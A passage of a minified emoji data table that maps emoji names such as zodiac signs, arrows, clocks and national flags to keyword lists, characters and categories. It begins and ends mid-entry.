♈",fitzpatrick_scale:false,category:"symbols"},taurus:{keywords:["purple-square","sign","zodiac","astrology"],char:"♉",fitzpatrick_scale:false,category:"symbols"},gemini:{keywords:["sign","zodiac","purple-square","astrology"],char:"♊",fitzpatrick_scale:false,category:"symbols"},cancer:{keywords:["sign","zodiac","purple-square","astrology"],char:"♋",fitzpatrick_scale:false,category:"symbols"},leo:{keywords:["sign","purple-square","zodiac","astrology"],char:"♌",fitzpatrick_scale:false,category:"symbols"},virgo:{keywords:["sign","zodiac","purple-square","astrology"],char:"♍",fitzpatrick_scale:false,category:"symbols"},libra:{keywords:["sign","purple-square","zodiac","astrology"],char:"♎",fitzpatrick_scale:false,category:"symbols"},scorpius:{keywords:["sign","zodiac","purple-square","astrology","scorpio"],char:"♏",fitzpatrick_scale:false,category:"symbols"},sagittarius:{keywords:["sign","zodiac","purple-square","astrology"],char:"♐",fitzpatrick_scale:false,category:"symbols"},capricorn:{keywords:["sign","zodiac","purple-square","astrology"],char:"♑",fitzpatrick_scale:false,category:"symbols"},aquarius:{keywords:["sign","purple-square","zodiac","astrology"],char:"♒",fitzpatrick_scale:false,category:"symbols"},pisces:{keywords:["purple-square","sign","zodiac","astrology"],char:"♓",fitzpatrick_scale:false,category:"symbols"},id:{keywords:["purple-square","words"],char:"🆔",fitzpatrick_scale:false,category:"symbols"},atom_symbol:{keywords:["science","physics","chemistry"],char:"⚛",fitzpatrick_scale:false,category:"symbols"},u7a7a:{keywords:["kanji","japanese","chinese","empty","sky","blue-square"],char:"🈳",fitzpatrick_scale:false,category:"symbols"},u5272:{keywords:["cut","divide","chinese","kanji","pink-square"],char:"🈹",fitzpatrick_scale:false,category:"symbols"},radioactive:{keywords:["nuclear","danger"],char:"☢",fitzpatrick_scale:false,category:"symbols"},biohazard:{keywords:["danger"],char:"☣",fitzpatrick_scale:false,category:"symbols"},mobile_phone_off:{keywords:["mute","orange-square","silence","quiet"],char:"📴",fitzpatrick_scale:false,category:"symbols"},vibration_mode:{keywords:["orange-square","phone"],char:"📳",fitzpatrick_scale:false,category:"symbols"},u6709:{keywords:["orange-square","chinese","have","kanji"],char:"🈶",fitzpatrick_scale:false,category:"symbols"},u7121:{keywords:["nothing","chinese","kanji","japanese","orange-square"],char:"🈚",fitzpatrick_scale:false,category:"symbols"},u7533:{keywords:["chinese","japanese","kanji","orange-square"],char:"🈸",fitzpatrick_scale:false,category:"symbols"},u55b6:{keywords:["japanese","opening hours","orange-square"],char:"🈺",fitzpatrick_scale:false,category:"symbols"},u6708:{keywords:["chinese","month","moon","japanese","orange-square","kanji"],char:"🈷️",fitzpatrick_scale:false,category:"symbols"},eight_pointed_black_star:{keywords:["orange-square","shape","polygon"],char:"✴️",fitzpatrick_scale:false,category:"symbols"},vs:{keywords:["words","orange-square"],char:"🆚",fitzpatrick_scale:false,category:"symbols"},accept:{keywords:["ok","good","chinese","kanji","agree","yes","orange-circle"],char:"🉑",fitzpatrick_scale:false,category:"symbols"},white_flower:{keywords:["japanese","spring"],char:"💮",fitzpatrick_scale:false,category:"symbols"},ideograph_advantage:{keywords:["chinese","kanji","obtain","get","circle"],char:"🉐",fitzpatrick_scale:false,category:"symbols"},secret:{keywords:["privacy","chinese","sshh","kanji","red-circle"],char:"㊙️",fitzpatrick_scale:false,category:"symbols"},congratulations:{keywords:["chinese","kanji","japanese","red-circle"],char:"㊗️",fitzpatrick_scale:false,category:"symbols"},u5408:{keywords:["japanese","chinese","join","kanji","red-square"],char:"🈴",fitzpatrick_scale:false,category:"symbols"},u6e80:{keywords:["full","chinese","japanese","red-square","kanji"],char:"🈵",fitzpatrick_scale:false,category:"symbols"},u7981:{keywords:["kanji","japanese","chinese","forbidden","limit","restricted","red-square"],char:"🈲",fitzpatrick_scale:false,category:"symbols"},a:{keywords:["red-square","alphabet","letter"],char:"🅰️",fitzpatrick_scale:false,category:"symbols"},b:{keywords:["red-square","alphabet","letter"],char:"🅱️",fitzpatrick_scale:false,category:"symbols"},ab:{keywords:["red-square","alphabet"],char:"🆎",fitzpatrick_scale:false,category:"symbols"},cl:{keywords:["alphabet","words","red-square"],char:"🆑",fitzpatrick_scale:false,category:"symbols"},o2:{keywords:["alphabet","red-square","letter"],char:"🅾️",fitzpatrick_scale:false,category:"symbols"},sos:{keywords:["help","red-square","words","emergency","911"],char:"🆘",fitzpatrick_scale:false,category:"symbols"},no_entry:{keywords:["limit","security","privacy","bad","denied","stop","circle"],char:"⛔",fitzpatrick_scale:false,category:"symbols"},name_badge:{keywords:["fire","forbid"],char:"📛",fitzpatrick_scale:false,category:"symbols"},no_entry_sign:{keywords:["forbid","stop","limit","denied","disallow","circle"],char:"🚫",fitzpatrick_scale:false,category:"symbols"},x:{keywords:["no","delete","remove","cancel","red"],char:"❌",fitzpatrick_scale:false,category:"symbols"},o:{keywords:["circle","round"],char:"⭕",fitzpatrick_scale:false,category:"symbols"},stop_sign:{keywords:["stop"],char:"🛑",fitzpatrick_scale:false,category:"symbols"},anger:{keywords:["angry","mad"],char:"💢",fitzpatrick_scale:false,category:"symbols"},hotsprings:{keywords:["bath","warm","relax"],char:"♨️",fitzpatrick_scale:false,category:"symbols"},no_pedestrians:{keywords:["rules","crossing","walking","circle"],char:"🚷",fitzpatrick_scale:false,category:"symbols"},do_not_litter:{keywords:["trash","bin","garbage","circle"],char:"🚯",fitzpatrick_scale:false,category:"symbols"},no_bicycles:{keywords:["cyclist","prohibited","circle"],char:"🚳",fitzpatrick_scale:false,category:"symbols"},"non-potable_water":{keywords:["drink","faucet","tap","circle"],char:"🚱",fitzpatrick_scale:false,category:"symbols"},underage:{keywords:["18","drink","pub","night","minor","circle"],char:"🔞",fitzpatrick_scale:false,category:"symbols"},no_mobile_phones:{keywords:["iphone","mute","circle"],char:"📵",fitzpatrick_scale:false,category:"symbols"},exclamation:{keywords:["heavy_exclamation_mark","danger","surprise","punctuation","wow","warning"],char:"❗",fitzpatrick_scale:false,category:"symbols"},grey_exclamation:{keywords:["surprise","punctuation","gray","wow","warning"],char:"❕",fitzpatrick_scale:false,category:"symbols"},question:{keywords:["doubt","confused"],char:"❓",fitzpatrick_scale:false,category:"symbols"},grey_question:{keywords:["doubts","gray","huh","confused"],char:"❔",fitzpatrick_scale:false,category:"symbols"},bangbang:{keywords:["exclamation","surprise"],char:"‼️",fitzpatrick_scale:false,category:"symbols"},interrobang:{keywords:["wat","punctuation","surprise"],char:"⁉️",fitzpatrick_scale:false,category:"symbols"},100:{keywords:["score","perfect","numbers","century","exam","quiz","test","pass","hundred"],char:"💯",fitzpatrick_scale:false,category:"symbols"},low_brightness:{keywords:["sun","afternoon","warm","summer"],char:"🔅",fitzpatrick_scale:false,category:"symbols"},high_brightness:{keywords:["sun","light"],char:"🔆",fitzpatrick_scale:false,category:"symbols"},trident:{keywords:["weapon","spear"],char:"🔱",fitzpatrick_scale:false,category:"symbols"},fleur_de_lis:{keywords:["decorative","scout"],char:"⚜",fitzpatrick_scale:false,category:"symbols"},part_alternation_mark:{keywords:["graph","presentation","stats","business","economics","bad"],char:"〽️",fitzpatrick_scale:false,category:"symbols"},warning:{keywords:["exclamation","wip","alert","error","problem","issue"],char:"⚠️",fitzpatrick_scale:false,category:"symbols"},children_crossing:{keywords:["school","warning","danger","sign","driving","yellow-diamond"],char:"🚸",fitzpatrick_scale:false,category:"symbols"},beginner:{keywords:["badge","shield"],char:"🔰",fitzpatrick_scale:false,category:"symbols"},recycle:{keywords:["arrow","environment","garbage","trash"],char:"♻️",fitzpatrick_scale:false,category:"symbols"},u6307:{keywords:["chinese","point","green-square","kanji"],char:"🈯",fitzpatrick_scale:false,category:"symbols"},chart:{keywords:["green-square","graph","presentation","stats"],char:"💹",fitzpatrick_scale:false,category:"symbols"},sparkle:{keywords:["stars","green-square","awesome","good","fireworks"],char:"❇️",fitzpatrick_scale:false,category:"symbols"},eight_spoked_asterisk:{keywords:["star","sparkle","green-square"],char:"✳️",fitzpatrick_scale:false,category:"symbols"},negative_squared_cross_mark:{keywords:["x","green-square","no","deny"],char:"❎",fitzpatrick_scale:false,category:"symbols"},white_check_mark:{keywords:["green-square","ok","agree","vote","election","answer","tick"],char:"✅",fitzpatrick_scale:false,category:"symbols"},diamond_shape_with_a_dot_inside:{keywords:["jewel","blue","gem","crystal","fancy"],char:"💠",fitzpatrick_scale:false,category:"symbols"},cyclone:{keywords:["weather","swirl","blue","cloud","vortex","spiral","whirlpool","spin","tornado","hurricane","typhoon"],char:"🌀",fitzpatrick_scale:false,category:"symbols"},loop:{keywords:["tape","cassette"],char:"➿",fitzpatrick_scale:false,category:"symbols"},globe_with_meridians:{keywords:["earth","international","world","internet","interweb","i18n"],char:"🌐",fitzpatrick_scale:false,category:"symbols"},m:{keywords:["alphabet","blue-circle","letter"],char:"Ⓜ️",fitzpatrick_scale:false,category:"symbols"},atm:{keywords:["money","sales","cash","blue-square","payment","bank"],char:"🏧",fitzpatrick_scale:false,category:"symbols"},sa:{keywords:["japanese","blue-square","katakana"],char:"🈂️",fitzpatrick_scale:false,category:"symbols"},passport_control:{keywords:["custom","blue-square"],char:"🛂",fitzpatrick_scale:false,category:"symbols"},customs:{keywords:["passport","border","blue-square"],char:"🛃",fitzpatrick_scale:false,category:"symbols"},baggage_claim:{keywords:["blue-square","airport","transport"],char:"🛄",fitzpatrick_scale:false,category:"symbols"},left_luggage:{keywords:["blue-square","travel"],char:"🛅",fitzpatrick_scale:false,category:"symbols"},wheelchair:{keywords:["blue-square","disabled","a11y","accessibility"],char:"♿",fitzpatrick_scale:false,category:"symbols"},no_smoking:{keywords:["cigarette","blue-square","smell","smoke"],char:"🚭",fitzpatrick_scale:false,category:"symbols"},wc:{keywords:["toilet","restroom","blue-square"],char:"🚾",fitzpatrick_scale:false,category:"symbols"},parking:{keywords:["cars","blue-square","alphabet","letter"],char:"🅿️",fitzpatrick_scale:false,category:"symbols"},potable_water:{keywords:["blue-square","liquid","restroom","cleaning","faucet"],char:"🚰",fitzpatrick_scale:false,category:"symbols"},mens:{keywords:["toilet","restroom","wc","blue-square","gender","male"],char:"🚹",fitzpatrick_scale:false,category:"symbols"},womens:{keywords:["purple-square","woman","female","toilet","loo","restroom","gender"],char:"🚺",fitzpatrick_scale:false,category:"symbols"},baby_symbol:{keywords:["orange-square","child"],char:"🚼",fitzpatrick_scale:false,category:"symbols"},restroom:{keywords:["blue-square","toilet","refresh","wc","gender"],char:"🚻",fitzpatrick_scale:false,category:"symbols"},put_litter_in_its_place:{keywords:["blue-square","sign","human","info"],char:"🚮",fitzpatrick_scale:false,category:"symbols"},cinema:{keywords:["blue-square","record","film","movie","curtain","stage","theater"],char:"🎦",fitzpatrick_scale:false,category:"symbols"},signal_strength:{keywords:["blue-square","reception","phone","internet","connection","wifi","bluetooth","bars"],char:"📶",fitzpatrick_scale:false,category:"symbols"},koko:{keywords:["blue-square","here","katakana","japanese","destination"],char:"🈁",fitzpatrick_scale:false,category:"symbols"},ng:{keywords:["blue-square","words","shape","icon"],char:"🆖",fitzpatrick_scale:false,category:"symbols"},ok:{keywords:["good","agree","yes","blue-square"],char:"🆗",fitzpatrick_scale:false,category:"symbols"},up:{keywords:["blue-square","above","high"],char:"🆙",fitzpatrick_scale:false,category:"symbols"},cool:{keywords:["words","blue-square"],char:"🆒",fitzpatrick_scale:false,category:"symbols"},new:{keywords:["blue-square","words","start"],char:"🆕",fitzpatrick_scale:false,category:"symbols"},free:{keywords:["blue-square","words"],char:"🆓",fitzpatrick_scale:false,category:"symbols"},zero:{keywords:["0","numbers","blue-square","null"],char:"0️⃣",fitzpatrick_scale:false,category:"symbols"},one:{keywords:["blue-square","numbers","1"],char:"1️⃣",fitzpatrick_scale:false,category:"symbols"},two:{keywords:["numbers","2","prime","blue-square"],char:"2️⃣",fitzpatrick_scale:false,category:"symbols"},three:{keywords:["3","numbers","prime","blue-square"],char:"3️⃣",fitzpatrick_scale:false,category:"symbols"},four:{keywords:["4","numbers","blue-square"],char:"4️⃣",fitzpatrick_scale:false,category:"symbols"},five:{keywords:["5","numbers","blue-square","prime"],char:"5️⃣",fitzpatrick_scale:false,category:"symbols"},six:{keywords:["6","numbers","blue-square"],char:"6️⃣",fitzpatrick_scale:false,category:"symbols"},seven:{keywords:["7","numbers","blue-square","prime"],char:"7️⃣",fitzpatrick_scale:false,category:"symbols"},eight:{keywords:["8","blue-square","numbers"],char:"8️⃣",fitzpatrick_scale:false,category:"symbols"},nine:{keywords:["blue-square","numbers","9"],char:"9️⃣",fitzpatrick_scale:false,category:"symbols"},keycap_ten:{keywords:["numbers","10","blue-square"],char:"🔟",fitzpatrick_scale:false,category:"symbols"},asterisk:{keywords:["star","keycap"],char:"*⃣",fitzpatrick_scale:false,category:"symbols"},1234:{keywords:["numbers","blue-square"],char:"🔢",fitzpatrick_scale:false,category:"symbols"},eject_button:{keywords:["blue-square"],char:"⏏️",fitzpatrick_scale:false,category:"symbols"},arrow_forward:{keywords:["blue-square","right","direction","play"],char:"▶️",fitzpatrick_scale:false,category:"symbols"},pause_button:{keywords:["pause","blue-square"],char:"⏸",fitzpatrick_scale:false,category:"symbols"},next_track_button:{keywords:["forward","next","blue-square"],char:"⏭",fitzpatrick_scale:false,category:"symbols"},stop_button:{keywords:["blue-square"],char:"⏹",fitzpatrick_scale:false,category:"symbols"},record_button:{keywords:["blue-square"],char:"⏺",fitzpatrick_scale:false,category:"symbols"},play_or_pause_button:{keywords:["blue-square","play","pause"],char:"⏯",fitzpatrick_scale:false,category:"symbols"},previous_track_button:{keywords:["backward"],char:"⏮",fitzpatrick_scale:false,category:"symbols"},fast_forward:{keywords:["blue-square","play","speed","continue"],char:"⏩",fitzpatrick_scale:false,category:"symbols"},rewind:{keywords:["play","blue-square"],char:"⏪",fitzpatrick_scale:false,category:"symbols"},twisted_rightwards_arrows:{keywords:["blue-square","shuffle","music","random"],char:"🔀",fitzpatrick_scale:false,category:"symbols"},repeat:{keywords:["loop","record"],char:"🔁",fitzpatrick_scale:false,category:"symbols"},repeat_one:{keywords:["blue-square","loop"],char:"🔂",fitzpatrick_scale:false,category:"symbols"},arrow_backward:{keywords:["blue-square","left","direction"],char:"◀️",fitzpatrick_scale:false,category:"symbols"},arrow_up_small:{keywords:["blue-square","triangle","direction","point","forward","top"],char:"🔼",fitzpatrick_scale:false,category:"symbols"},arrow_down_small:{keywords:["blue-square","direction","bottom"],char:"🔽",fitzpatrick_scale:false,category:"symbols"},arrow_double_up:{keywords:["blue-square","direction","top"],char:"⏫",fitzpatrick_scale:false,category:"symbols"},arrow_double_down:{keywords:["blue-square","direction","bottom"],char:"⏬",fitzpatrick_scale:false,category:"symbols"},arrow_right:{keywords:["blue-square","next"],char:"➡️",fitzpatrick_scale:false,category:"symbols"},arrow_left:{keywords:["blue-square","previous","back"],char:"⬅️",fitzpatrick_scale:false,category:"symbols"},arrow_up:{keywords:["blue-square","continue","top","direction"],char:"⬆️",fitzpatrick_scale:false,category:"symbols"},arrow_down:{keywords:["blue-square","direction","bottom"],char:"⬇️",fitzpatrick_scale:false,category:"symbols"},arrow_upper_right:{keywords:["blue-square","point","direction","diagonal","northeast"],char:"↗️",fitzpatrick_scale:false,category:"symbols"},arrow_lower_right:{keywords:["blue-square","direction","diagonal","southeast"],char:"↘️",fitzpatrick_scale:false,category:"symbols"},arrow_lower_left:{keywords:["blue-square","direction","diagonal","southwest"],char:"↙️",fitzpatrick_scale:false,category:"symbols"},arrow_upper_left:{keywords:["blue-square","point","direction","diagonal","northwest"],char:"↖️",fitzpatrick_scale:false,category:"symbols"},arrow_up_down:{keywords:["blue-square","direction","way","vertical"],char:"↕️",fitzpatrick_scale:false,category:"symbols"},left_right_arrow:{keywords:["shape","direction","horizontal","sideways"],char:"↔️",fitzpatrick_scale:false,category:"symbols"},arrows_counterclockwise:{keywords:["blue-square","sync","cycle"],char:"🔄",fitzpatrick_scale:false,category:"symbols"},arrow_right_hook:{keywords:["blue-square","return","rotate","direction"],char:"↪️",fitzpatrick_scale:false,category:"symbols"},leftwards_arrow_with_hook:{keywords:["back","return","blue-square","undo","enter"],char:"↩️",fitzpatrick_scale:false,category:"symbols"},arrow_heading_up:{keywords:["blue-square","direction","top"],char:"⤴️",fitzpatrick_scale:false,category:"symbols"},arrow_heading_down:{keywords:["blue-square","direction","bottom"],char:"⤵️",fitzpatrick_scale:false,category:"symbols"},hash:{keywords:["symbol","blue-square","twitter"],char:"#️⃣",fitzpatrick_scale:false,category:"symbols"},information_source:{keywords:["blue-square","alphabet","letter"],char:"ℹ️",fitzpatrick_scale:false,category:"symbols"},abc:{keywords:["blue-square","alphabet"],char:"🔤",fitzpatrick_scale:false,category:"symbols"},abcd:{keywords:["blue-square","alphabet"],char:"🔡",fitzpatrick_scale:false,category:"symbols"},capital_abcd:{keywords:["alphabet","words","blue-square"],char:"🔠",fitzpatrick_scale:false,category:"symbols"},symbols:{keywords:["blue-square","music","note","ampersand","percent","glyphs","characters"],char:"🔣",fitzpatrick_scale:false,category:"symbols"},musical_note:{keywords:["score","tone","sound"],char:"🎵",fitzpatrick_scale:false,category:"symbols"},notes:{keywords:["music","score"],char:"🎶",fitzpatrick_scale:false,category:"symbols"},wavy_dash:{keywords:["draw","line","moustache","mustache","squiggle","scribble"],char:"〰️",fitzpatrick_scale:false,category:"symbols"},curly_loop:{keywords:["scribble","draw","shape","squiggle"],char:"➰",fitzpatrick_scale:false,category:"symbols"},heavy_check_mark:{keywords:["ok","nike","answer","yes","tick"],char:"✔️",fitzpatrick_scale:false,category:"symbols"},arrows_clockwise:{keywords:["sync","cycle","round","repeat"],char:"🔃",fitzpatrick_scale:false,category:"symbols"},heavy_plus_sign:{keywords:["math","calculation","addition","more","increase"],char:"➕",fitzpatrick_scale:false,category:"symbols"},heavy_minus_sign:{keywords:["math","calculation","subtract","less"],char:"➖",fitzpatrick_scale:false,category:"symbols"},heavy_division_sign:{keywords:["divide","math","calculation"],char:"➗",fitzpatrick_scale:false,category:"symbols"},heavy_multiplication_x:{keywords:["math","calculation"],char:"✖️",fitzpatrick_scale:false,category:"symbols"},infinity:{keywords:["forever"],char:"♾",fitzpatrick_scale:false,category:"symbols"},heavy_dollar_sign:{keywords:["money","sales","payment","currency","buck"],char:"💲",fitzpatrick_scale:false,category:"symbols"},currency_exchange:{keywords:["money","sales","dollar","travel"],char:"💱",fitzpatrick_scale:false,category:"symbols"},copyright:{keywords:["ip","license","circle","law","legal"],char:"©️",fitzpatrick_scale:false,category:"symbols"},registered:{keywords:["alphabet","circle"],char:"®️",fitzpatrick_scale:false,category:"symbols"},tm:{keywords:["trademark","brand","law","legal"],char:"™️",fitzpatrick_scale:false,category:"symbols"},end:{keywords:["words","arrow"],char:"🔚",fitzpatrick_scale:false,category:"symbols"},back:{keywords:["arrow","words","return"],char:"🔙",fitzpatrick_scale:false,category:"symbols"},on:{keywords:["arrow","words"],char:"🔛",fitzpatrick_scale:false,category:"symbols"},top:{keywords:["words","blue-square"],char:"🔝",fitzpatrick_scale:false,category:"symbols"},soon:{keywords:["arrow","words"],char:"🔜",fitzpatrick_scale:false,category:"symbols"},ballot_box_with_check:{keywords:["ok","agree","confirm","black-square","vote","election","yes","tick"],char:"☑️",fitzpatrick_scale:false,category:"symbols"},radio_button:{keywords:["input","old","music","circle"],char:"🔘",fitzpatrick_scale:false,category:"symbols"},white_circle:{keywords:["shape","round"],char:"⚪",fitzpatrick_scale:false,category:"symbols"},black_circle:{keywords:["shape","button","round"],char:"⚫",fitzpatrick_scale:false,category:"symbols"},red_circle:{keywords:["shape","error","danger"],char:"🔴",fitzpatrick_scale:false,category:"symbols"},large_blue_circle:{keywords:["shape","icon","button"],char:"🔵",fitzpatrick_scale:false,category:"symbols"},small_orange_diamond:{keywords:["shape","jewel","gem"],char:"🔸",fitzpatrick_scale:false,category:"symbols"},small_blue_diamond:{keywords:["shape","jewel","gem"],char:"🔹",fitzpatrick_scale:false,category:"symbols"},large_orange_diamond:{keywords:["shape","jewel","gem"],char:"🔶",fitzpatrick_scale:false,category:"symbols"},large_blue_diamond:{keywords:["shape","jewel","gem"],char:"🔷",fitzpatrick_scale:false,category:"symbols"},small_red_triangle:{keywords:["shape","direction","up","top"],char:"🔺",fitzpatrick_scale:false,category:"symbols"},black_small_square:{keywords:["shape","icon"],char:"▪️",fitzpatrick_scale:false,category:"symbols"},white_small_square:{keywords:["shape","icon"],char:"▫️",fitzpatrick_scale:false,category:"symbols"},black_large_square:{keywords:["shape","icon","button"],char:"⬛",fitzpatrick_scale:false,category:"symbols"},white_large_square:{keywords:["shape","icon","stone","button"],char:"⬜",fitzpatrick_scale:false,category:"symbols"},small_red_triangle_down:{keywords:["shape","direction","bottom"],char:"🔻",fitzpatrick_scale:false,category:"symbols"},black_medium_square:{keywords:["shape","button","icon"],char:"◼️",fitzpatrick_scale:false,category:"symbols"},white_medium_square:{keywords:["shape","stone","icon"],char:"◻️",fitzpatrick_scale:false,category:"symbols"},black_medium_small_square:{keywords:["icon","shape","button"],char:"◾",fitzpatrick_scale:false,category:"symbols"},white_medium_small_square:{keywords:["shape","stone","icon","button"],char:"◽",fitzpatrick_scale:false,category:"symbols"},black_square_button:{keywords:["shape","input","frame"],char:"🔲",fitzpatrick_scale:false,category:"symbols"},white_square_button:{keywords:["shape","input"],char:"🔳",fitzpatrick_scale:false,category:"symbols"},speaker:{keywords:["sound","volume","silence","broadcast"],char:"🔈",fitzpatrick_scale:false,category:"symbols"},sound:{keywords:["volume","speaker","broadcast"],char:"🔉",fitzpatrick_scale:false,category:"symbols"},loud_sound:{keywords:["volume","noise","noisy","speaker","broadcast"],char:"🔊",fitzpatrick_scale:false,category:"symbols"},mute:{keywords:["sound","volume","silence","quiet"],char:"🔇",fitzpatrick_scale:false,category:"symbols"},mega:{keywords:["sound","speaker","volume"],char:"📣",fitzpatrick_scale:false,category:"symbols"},loudspeaker:{keywords:["volume","sound"],char:"📢",fitzpatrick_scale:false,category:"symbols"},bell:{keywords:["sound","notification","christmas","xmas","chime"],char:"🔔",fitzpatrick_scale:false,category:"symbols"},no_bell:{keywords:["sound","volume","mute","quiet","silent"],char:"🔕",fitzpatrick_scale:false,category:"symbols"},black_joker:{keywords:["poker","cards","game","play","magic"],char:"🃏",fitzpatrick_scale:false,category:"symbols"},mahjong:{keywords:["game","play","chinese","kanji"],char:"🀄",fitzpatrick_scale:false,category:"symbols"},spades:{keywords:["poker","cards","suits","magic"],char:"♠️",fitzpatrick_scale:false,category:"symbols"},clubs:{keywords:["poker","cards","magic","suits"],char:"♣️",fitzpatrick_scale:false,category:"symbols"},hearts:{keywords:["poker","cards","magic","suits"],char:"♥️",fitzpatrick_scale:false,category:"symbols"},diamonds:{keywords:["poker","cards","magic","suits"],char:"♦️",fitzpatrick_scale:false,category:"symbols"},flower_playing_cards:{keywords:["game","sunset","red"],char:"🎴",fitzpatrick_scale:false,category:"symbols"},thought_balloon:{keywords:["bubble","cloud","speech","thinking","dream"],char:"💭",fitzpatrick_scale:false,category:"symbols"},right_anger_bubble:{keywords:["caption","speech","thinking","mad"],char:"🗯",fitzpatrick_scale:false,category:"symbols"},speech_balloon:{keywords:["bubble","words","message","talk","chatting"],char:"💬",fitzpatrick_scale:false,category:"symbols"},left_speech_bubble:{keywords:["words","message","talk","chatting"],char:"🗨",fitzpatrick_scale:false,category:"symbols"},clock1:{keywords:["time","late","early","schedule"],char:"🕐",fitzpatrick_scale:false,category:"symbols"},clock2:{keywords:["time","late","early","schedule"],char:"🕑",fitzpatrick_scale:false,category:"symbols"},clock3:{keywords:["time","late","early","schedule"],char:"🕒",fitzpatrick_scale:false,category:"symbols"},clock4:{keywords:["time","late","early","schedule"],char:"🕓",fitzpatrick_scale:false,category:"symbols"},clock5:{keywords:["time","late","early","schedule"],char:"🕔",fitzpatrick_scale:false,category:"symbols"},clock6:{keywords:["time","late","early","schedule","dawn","dusk"],char:"🕕",fitzpatrick_scale:false,category:"symbols"},clock7:{keywords:["time","late","early","schedule"],char:"🕖",fitzpatrick_scale:false,category:"symbols"},clock8:{keywords:["time","late","early","schedule"],char:"🕗",fitzpatrick_scale:false,category:"symbols"},clock9:{keywords:["time","late","early","schedule"],char:"🕘",fitzpatrick_scale:false,category:"symbols"},clock10:{keywords:["time","late","early","schedule"],char:"🕙",fitzpatrick_scale:false,category:"symbols"},clock11:{keywords:["time","late","early","schedule"],char:"🕚",fitzpatrick_scale:false,category:"symbols"},clock12:{keywords:["time","noon","midnight","midday","late","early","schedule"],char:"🕛",fitzpatrick_scale:false,category:"symbols"},clock130:{keywords:["time","late","early","schedule"],char:"🕜",fitzpatrick_scale:false,category:"symbols"},clock230:{keywords:["time","late","early","schedule"],char:"🕝",fitzpatrick_scale:false,category:"symbols"},clock330:{keywords:["time","late","early","schedule"],char:"🕞",fitzpatrick_scale:false,category:"symbols"},clock430:{keywords:["time","late","early","schedule"],char:"🕟",fitzpatrick_scale:false,category:"symbols"},clock530:{keywords:["time","late","early","schedule"],char:"🕠",fitzpatrick_scale:false,category:"symbols"},clock630:{keywords:["time","late","early","schedule"],char:"🕡",fitzpatrick_scale:false,category:"symbols"},clock730:{keywords:["time","late","early","schedule"],char:"🕢",fitzpatrick_scale:false,category:"symbols"},clock830:{keywords:["time","late","early","schedule"],char:"🕣",fitzpatrick_scale:false,category:"symbols"},clock930:{keywords:["time","late","early","schedule"],char:"🕤",fitzpatrick_scale:false,category:"symbols"},clock1030:{keywords:["time","late","early","schedule"],char:"🕥",fitzpatrick_scale:false,category:"symbols"},clock1130:{keywords:["time","late","early","schedule"],char:"🕦",fitzpatrick_scale:false,category:"symbols"},clock1230:{keywords:["time","late","early","schedule"],char:"🕧",fitzpatrick_scale:false,category:"symbols"},afghanistan:{keywords:["af","flag","nation","country","banner"],char:"🇦🇫",fitzpatrick_scale:false,category:"flags"},aland_islands:{keywords:["Åland","islands","flag","nation","country","banner"],char:"🇦🇽",fitzpatrick_scale:false,category:"flags"},albania:{keywords:["al","flag","nation","country","banner"],char:"🇦🇱",fitzpatrick_scale:false,category:"flags"},algeria:{keywords:["dz","flag","nation","country","banner"],char:"🇩🇿",fitzpatrick_scale:false,category:"flags"},american_samoa:{keywords:["american","ws","flag","nation","country","banner"],char:"🇦🇸",fitzpatrick_scale:false,category:"flags"},andorra:{keywords:["ad","flag","nation","country","banner"],char:"🇦🇩",fitzpatrick_scale:false,category:"flags"},angola:{keywords:["ao","flag","nation","country","banner"],char:"🇦🇴",fitzpatrick_scale:false,category:"flags"},anguilla:{keywords:["ai","flag","nation","country","banner"],char:"🇦🇮",fitzpatrick_scale:false,category:"flags"},antarctica:{keywords:["aq","flag","nation","country","banner"],char:"🇦🇶",fitzpatrick_scale:false,category:"flags"},antigua_barbuda:{keywords:["antigua","barbuda","flag","nation","country","banner"],char:"🇦🇬",fitzpatrick_scale:false,category:"flags"},argentina:{keywords:["ar","flag","nation","country","banner"],char:"🇦🇷",fitzpatrick_scale:false,category:"flags"},armenia:{keywords:["am","flag","nation","country","banner"],char:"🇦🇲",fitzpatrick_scale:false,category:"flags"},aruba:{keywords:["aw","flag","nation","country","banner"],char:"🇦🇼",fitzpatrick_scale:false,category:"flags"},australia:{keywords:["au","flag","nation","country","banner"],char:"🇦🇺",fitzpatrick_scale:false,category:"flags"},austria:{keywords:["at","flag","nation","country","banner"],char:"🇦🇹",fitzpatrick_scale:false,category:"flags"},azerbaijan:{keywords:["az","flag","nation","country","banner"],char:"🇦🇿",fitzpatrick_scale:false,category:"flags"},bahamas:{keywords:["bs","flag","nation","country","banner"],char:"🇧🇸",fitzpatrick_scale:false,category:"flags"},bahrain:{keywords:["bh","flag","nation","country","banner"],char:"🇧🇭",fitzpatrick_scale:false,category:"flags"},bangladesh:{keywords:["bd","flag","nation","country","banner"],char:"🇧🇩",fitzpatrick_scale:false,category:"flags"},barbados:{keywords:["bb","flag","nation","country","banner"],char:"🇧🇧",fitzpatrick_scale:false,category:"flags"},belarus:{keywords:["by","flag","nation","country","banner"],char:"🇧🇾",fitzpatrick_scale:false,category:"flags"},belgium:{keywords:["be","flag","nation","country","banner"],char:"🇧🇪",fitzpatrick_scale:false,category:"flags"},belize:{keywords:["bz","flag","nation","country","banner"],char:"🇧🇿",fitzpatrick_scale:false,category:"flags"},benin:{keywords:["bj","flag","nation","country","banner"],char:"🇧🇯",fitzpatrick_scale:false,category:"flags"},bermuda:{keywords:["bm","flag","nation","country","banner"],char:"🇧🇲",fitzpatrick_scale:false,category:"flags"},bhutan:{keywords:["bt","flag","nation","country","banner"],char:"🇧🇹",fitzpatrick_scale:false,category:"flags"},bolivia:{keywords:["bo","flag","nation","country","banner"],char:"🇧🇴",fitzpatrick_scale:false,category:"flags"},caribbean_netherlands:{keywords:["bonaire","flag","nation","country","banner"],char:"🇧🇶",fitzpatrick_scale:false,category:"flags"},bosnia_herzegovina:{keywords:["bosnia","herzegovina","flag","nation","country","banner"],char:"🇧🇦",fitzpatrick_scale:false,category:"flags"},botswana:{keywords:["bw","flag","nation","country","banner"],char:"🇧🇼",fitzpatrick_scale:false,category:"flags"},brazil:{keywords:["br","flag","nation","country","banner"],char:"🇧🇷",fitzpatrick_scale:false,category:"flags"},british_indian_ocean_territory:{keywords:["british","indian","ocean","territory","flag","nation","country","banner"],char:"🇮🇴",fitzpatrick_scale:false,category:"flags"},british_virgin_islands:{keywords:["british","virgin","islands","bvi","flag","nation","country","banner"],char:"🇻🇬",fitzpatrick_scale:false,category:"flags"},brunei:{keywords:["bn","darussalam","flag","nation","country","banner"],char:"🇧🇳",fitzpatrick_scale:false,category:"flags"},bulgaria:{keywords:["bg","flag","nation","country","banner"],char:"🇧🇬",fitzpatrick_scale:false,category:"flags"},burkina_faso:{keywords:["burkina","faso","flag","